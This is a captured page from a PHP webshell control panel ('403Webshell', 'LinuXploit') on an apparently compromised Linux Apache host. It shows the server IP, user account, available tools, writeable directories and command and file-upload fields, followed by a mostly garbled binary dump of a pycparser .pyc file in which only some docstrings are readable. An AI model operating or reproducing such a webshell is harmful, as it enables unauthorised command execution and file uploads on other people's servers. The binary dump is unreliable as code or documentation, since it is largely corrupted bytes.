403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pycparser/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pycparser/__pycache__/ast_transforms.cpython-311.pyc
�

Ʋ@a;��*�ddlmZd�Zd�Zd�Zd�ZdS)�)�c_astc�&�t|tj��sJ�t|jtj��s|Stjg|jj��}d}|jjpgD]�}t|tjtjf��r=|j�	|��t||j��|jd}�e|�|j�	|����|j�	|����||_|S)a� The 'case' statements in a 'switch' come out of parsing with one
        child node, so subsequent statements are just tucked to the parent
        Compound. Additionally, consecutive (fall-through) case statements
        come out messy. This is a peculiarity of the C grammar. The following:

            switch (myvar) {
                case 10:
                    k = 10;
                    p = k + 1;
                    return 10;
                case 20:
                case 30:
                    return 20;
                default:
                    break;
            }

        Creates this tree (pseudo-dump):

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                    p = k + 1
                    return 10
                    Case 20:
                        Case 30:
                            return 20
                    Default:
                        break

        The goal of this transform is to fix this mess, turning it into the
        following:

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                        p = k + 1
                        return 10
                    Case 20:
                    Case 30:
                        return 20
                    Default:
                        break

        A fixed AST node is returned. The argument may be modified.
    N���)�
isinstancer�Switch�stmt�Compound�coord�block_items�Case�Default�append�_extract_nested_case�stmts)�switch_node�new_compound�	last_case�childs    �:/usr/lib/python3/dist-packages/pycparser/ast_transforms.py�fix_switch_casesr
s��f�k�5�<�0�0�0�0�0��k�&���7�7�����>�"�k�&6�&<�=�=�L��I�
�"�.�4�"�.�.���e�e�j�%�-�8�9�9�	.�

�$�+�+�E�2�2�2� ���(@�A�A�A�$�0��4�I�I�� ��(�/�/��6�6�6�6���&�&�u�-�-�-�-�#�K����c���t|jdtjtjf��rD|�|j�����t|d|��dSdS)z� Recursively extract consecutive Case statements that are made nested
        by the parser and add them to the stmts_list.
    �rN)rrrrr
r�popr)�	case_node�
stmts_lists  rrrcsl���)�/�!�$�u�z�5�=�&A�B�B�9����)�/�-�-�/�/�0�0�0��Z��^�Z�8�8�8�8�8�9�9rc�T�	t|��\}}|sn�|}t|tj��s5	|j}n#t
$r|cYSwxYwt|tj���5d|jvr#d|jvr|j�d��|j�|j	|_|S)aK Atomic specifiers like _Atomic(type) are unusually structured,
        conferring a qualifier upon the contained type.

        This function fixes a decl with atomic specifiers to have a sane AST
        structure, by removing spurious Typename->TypeDecl pairs and attaching
        the _Atomic qualifier in the right place.
    T�_Atomic)
�_fix_atomic_specifiers_oncerr�TypeDecl�type�AttributeError�qualsr�declname�name)�decl�found�typs   r�fix_atomic_specifiersr)ls����1�$�7�7���e��	����C���e�n�-�-��	��(�C�C���	�	�	��K�K�K�	������e�n�-�-��
�C�I���)�4�:�"=�"=��
���)�$�$�$�
�|���y����Ks�=�A�Ac�\�|}d}|j}|�Gt|tj��r
d|jvrn#	|}|}|j}n#t
$r|dfcYSwxYw|�Gt|tj��sJ�|j|_d|jjvr|jj�d��|dfS)z� Performs one 'fix' round of atomic specifiers.
        Returns (modified_decl, found) where found is True iff a fix was made.
    NrFT)r!rr�Typenamer#r"r r)r&�parent�grandparent�nodes    rrr�s����F��K��9�D�
�
��d�E�N�+�+�	�	�T�Z�0G�0G��	� �K��F��9�D�D���	�	�	���;����		�����
��f�e�n�-�-�-�-�-��y�K����	��'�'��	����y�)�)�)���:�s�?�A�AN)�rrrr)r�rr�<module>r1sd��������S�S�S�l9�9�9����@����r

Youez - 2016 - github.com/yon3zu
LinuXploit